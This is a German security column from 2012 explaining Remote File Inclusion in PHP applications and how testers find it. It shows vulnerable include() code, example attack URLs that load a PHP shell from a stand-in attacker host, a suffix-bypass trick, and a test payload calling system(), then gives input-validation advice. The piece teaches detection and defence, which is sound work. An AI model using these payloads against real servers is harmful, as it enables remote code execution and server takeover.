Mittwoch, 8. Februar 2012 |
Die sog. Remote File Inclusion, RFI, ist quasi der bösere Bruder von Directory-Traversal-Schwachstellen: Statt auf Dateien auf dem lokalen Server wird dabei auf Dateien auf entfernten Servern zugegriffen, und statt diese nur einfach anzuzeigen, werden sie, meist in PHP-Skripten, eingebunden und dadurch darin enthaltener Schadcode ausgeführt.
Die erste Einschränkung steht bereits in der Einleitung: Remote File Inclusion kann in jeder Webanwendung auftreten, ist im wesentlichen aber ein PHP-Problem. Dort ist das Einbinden und damit Ausführen von Code besonders einfach möglich. Daher wird im folgenden insbesondere auf PHP-Anwendungen eingegangen, auch wenn das eigentlich "nur" ein Spezialfall ist. Für alle anderen Webanwendungen gilt, das eine Remote File Inclusion im Prinzip einer besonders hässlichen Cross-Site-Scripting-Schwachstelle entspricht: Der Angreifer kann ohne störende Einschränkungen durch XSS-Filter etc. eigenen HTML- und Scriptcode unter der Adresse der Webanwendung präsentieren, was z.B. Phishing erleichtert.
Für PHP-Anwendungen gibt es einige weitere Einschränkungen: Damit
in der eingebundenen Datei enthaltener PHP-Code ausgeführt wird, muss
die Datei über die Funktionen include()/include_once()
oder require()/require_once() eingebunden werden, siehe auch
About Security
#179.
Wird auf die Datei z.B. mit readfile() zugegriffen, wird
enthaltener PHP-Code nicht ausgewertet, sondern die Datei direkt in den
Ausgabepuffer geschrieben. Das reicht aber immer noch aus, um eine
Cross-Site-Scripting-Schwachstelle zu ergeben. Und damit
überhaupt auf einen entfernten Server zugegriffen werden kann, muss in
der globalen Konfigurationsdatei php.ini die Option
allow_url_fopen sowie ab PHP 5 zusätzlich auch die Option
allow_url_include aktiviert sein.
Voraussetzung für RFI ist wie beim Directory Traversal, das ein
Parameter vor der Verwendung in einer include()-Anweisung (die
im folgenden stellvertretend auch für include_once(),
require() und require_once() verwendet wird)
nicht ausreichend geprüft wird. Während bei
Directory-Traversal-Schwachstellen ein fest vorgegebener Präfix im
Aufruf nicht stört, da er durch die Directory-Traversal-Sequenzen
umgangen wird, wird ein RFI-Angriff dadurch verhindert:
include("/ein/pfad/".$parameter);
ergibt beim Einsetzen einer URL als Wert für den Parameter
include(/ein/pfad/http://www.boese.example/php-shell.txt);
und erzeugt dadurch einen Fehler. Ein fest vorgegebener Suffix stört hingegen nicht.
Idealerweise ist der ungeprüfte Parameter der vollständige
Eingabewert der include()-Anweisung und wird über GET
übertragen:
include($_GET['parameter']);
Dann kann das betroffene Skript einfach mit einer entsprechenden URL aufgerufen werden:
http://www.server.example/anwendung/machwas.php?parameter=
http://www.boese.example/php-shell.txt
Wird der Parameter über POST oder einen Cookie übertragen, ist
etwas mehr Aufwand notwendig, am prinzipiellen Vorgehen ändert sich
aber nichts. Ist der ungeprüfte Parameter nur ein Teil des Parameters
der include()-Anweisung, z.B.
include($_GET['parameter']."/pfad/zur/datei.inc");
gibt es für den Angreifer mehrere mögliche Wege zum Ziel. Am einfachsten ist es, an die URL zum bösartigen Skript einen Parameter anzuhängen, der vom Skript ignoriert wird:
http://www.server.example/anwendung/machwas.php?parameter=
http://www.boese.example/php-shell.txt?wegdamit=
In der include()-Anweisung wird daraus
include(http://www.boese.example/php-shell.txt?wegdamit=/pfad/zur/datei.inc);
so dass http://www.boese.example/php-shell.txt eingebunden und
der Parameter wegdamit mit dem Wert
/pfad/zur/datei.inc übergeben wird.
Prinzipiell kann jeder beliebige Code eingeschleust werden. Im Internet sind verschiedene sog. PHP-Shells verfügbar, die einem Angreifer viele Möglichkeiten zur Manipulation des angegriffenen Servers zur Verfügung stellen. Bekannte Beispiele sind die c99-Shell und die r57-Shell. Auch für ASP gibt es mindestens eine derartige Shell.
Voraussetzung für eine RFI-Schwachstelle ist, das vom Benutzer manipulierbare Parameter ohne ausreichende Prüfung in einem Funktionsaufruf verwendet werden, der außer auf lokale Dateien auch über z.B. HTTP auf einen entfernten Server zugreifen kann. Es reicht daher aus, alle bei der Suche nach Directory-Traversal-Schwachstellen geprüften Parameter zusätzlich daraufhin zu prüfen, ob darüber auf entfernte Server zugegriffen werden kann. Dazu kann einfach ein entsprechender Testwert für alle Parameter eingegeben werden, z.B.
http://www.tester.example/rfitest.txt
für eine Datei auf einem Server des Testers, die dann einen passenden Inhalt hat. Das kann z.B. ein Text wie "Dieser Text kommt vom entfernten Server" und etwas Code in der Programmiersprache der betroffenen Webanwendung sein, um im gleichen Schritt das Ausführen von Code zu prüfen. Dafür bietet sich für PHP z.B. folgender Code an:
<?php
echo system("hostname");
?>
Dieser Test kann aus zwei Gründen fehl schlagen: Entweder, weil es
keine RFI-Schwachstelle gibt (womit der Fall erledigt ist) - oder weil der
Server so konfiguriert wurde, das keine Zugriffe auf entfernte Server
möglich sind. Damit ist die aktuelle Konfiguration zwar nicht
angreifbar, aber sowie das Skript auf einem anders konfigurierten Server
eingesetzt wird, könnte es angreifbar sein. Daher sollte der Server
für die Suche nach RFI-Schwachstellen gezielt unsicher konfiguriert
werden, d.h. z.B. für PHP, das sowohl allow_url_fopen als
auch allow_url_include aktiviert werden.
Hier gilt das gleiche wie immer: Alle vom Benutzer manipulierbaren
Parameter müssen vor ihrer Verwendung geprüft werden. Diesmal
darauf, ob sie mit http://, ftp:// usw. beginnen.
Wird ein möglicher Angriff erkannt, wird die Eingabe verworfen.
In der nächsten Folge wird das Einschleusen von Shell-Befehlen behandelt.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!